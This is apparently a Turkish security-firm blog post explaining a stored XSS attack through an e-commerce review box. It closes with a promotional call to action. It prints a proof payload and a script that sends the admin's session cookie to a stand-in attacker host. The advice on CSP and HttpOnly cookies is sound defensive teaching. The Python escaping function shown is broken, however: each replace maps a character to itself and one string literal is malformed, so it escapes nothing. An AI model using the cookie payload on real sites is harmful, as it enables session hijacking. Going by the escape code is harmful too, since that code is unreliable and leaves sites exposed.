Masum Bir Yorum Kutusu, Çalınan Yönetici Oturumu — Depolanan XSS Senaryosu
Anonimleştirilmiş bir senaryo. Bir e-ticaret sitesinde ürün yorumları vardı — herkesin yazabildiği, yöneticinin panelden onayladığı sıradan bir alan. İşte bu sıradanlık, kritik bir açığın gizlendiği yerdir.
Fark: Yansıyan mı, Depolanan mı?
XSS (Cross-Site Scripting) iki temel türde gelir:
- Yansıyan (reflected): Zararlı kod bağlantıya gömülür, kurbanın tıklaması gerekir.
- Depolanan (stored): Zararlı kod sunucuya kaydedilir ve sayfayı açan herkeste çalışır. En tehlikelisi budur.
Bizim senaryomuz depolanan türdü: yorum veritabanına yazılıyor, panelde yönetici onaylarken tarayıcısında çalışıyordu.
Testin İlk Adımı: Zararsız Kanıt
Önce yıkıcı değil, kanıtlayıcı bir yük denenir. Yorum alanına:
<img src=x onerror=alert(document.domain)>
Yönetici paneli bu yorumu açtığında ekrana sitenin alan adını yazan bir kutu çıktıysa, kod çalışıyor demektir. Uygulama, girdiyi metin olarak değil HTML olarak işliyor.
Silah: Oturum Çerezini Sızdırmak
Gerçek bir saldırgan alert ile yetinmez. Yöneticinin oturum çerezini kendi sunucusuna gönderen bir yük yazar:
<script> new Image().src = 'https://saldirgan.ornek/c?k=' + encodeURIComponent(document.cookie); </script>
Yönetici yorumu görüntülediği anda çerezi saldırgana gider. Saldırgan bu çerezi kendi tarayıcısına yapıştırır ve şifre girmeden yönetici olarak oturum açar. Buna "oturum ele geçirme" (session hijacking) denir.
Etki: Bir Yorumdan Tam Kontrole
- Yönetici paneline tam erişim
- Sipariş, müşteri ve ödeme verilerine erişim
- Siteye kalıcı arka kapı (başka XSS/kod ekleme)
Hepsi, "yorum yaz" kutusundan.
Çözüm: Üç Katman
1. Çıktı kodlaması (output encoding). Kullanıcıdan gelen her veri, ekrana basılırken kaçış karakterlerine çevrilmelidir. < işareti < olur, kod çalışmaz:
# Sunucu tarafında, ekrana basmadan önce
def esc(s):
return (s.replace("&","&").replace("<","<")
.replace(">",">").replace('"',"""))Modern şablon motorları (Jinja2, React) bunu varsayılan yapar — devre dışı bırakmayın.
2. İçerik Güvenlik Politikası (CSP). Bir HTTP başlığıyla tarayıcıya "sadece kendi sunucumdan gelen script çalışsın" dersiniz; satır içi script'ler engellenir:
Content-Security-Policy: default-src 'self'; script-src 'self'
3. HttpOnly çerez. Oturum çerezini HttpOnly işaretlerseniz, JavaScript document.cookie ile ona erişemez — yukarıdaki sızdırma yükü çalışmaz:
Set-Cookie: oturum=...; HttpOnly; Secure; SameSite=Strict
Not: Bu üç katman birlikte kullanılır. Biri atlanırsa diğerleri hâlâ korur — güvenlik "derinlemesine savunma" ister.
Sonuç
XSS, "kullanıcı verisine güvenmek" hatasının en pahalı biçimidir. Sitenizde kullanıcının yazı girebildiği her alan — yorum, profil, arama, mesaj — bir XSS test noktasıdır. REDCELL, bu noktaların tamamını yetki kapsamında test eder ve size somut, tekrarlanabilir bir düzeltme listesi bırakır.
Sisteminizin güvenliğinden emin misiniz?
Ücretsiz Ön Değerlendirme →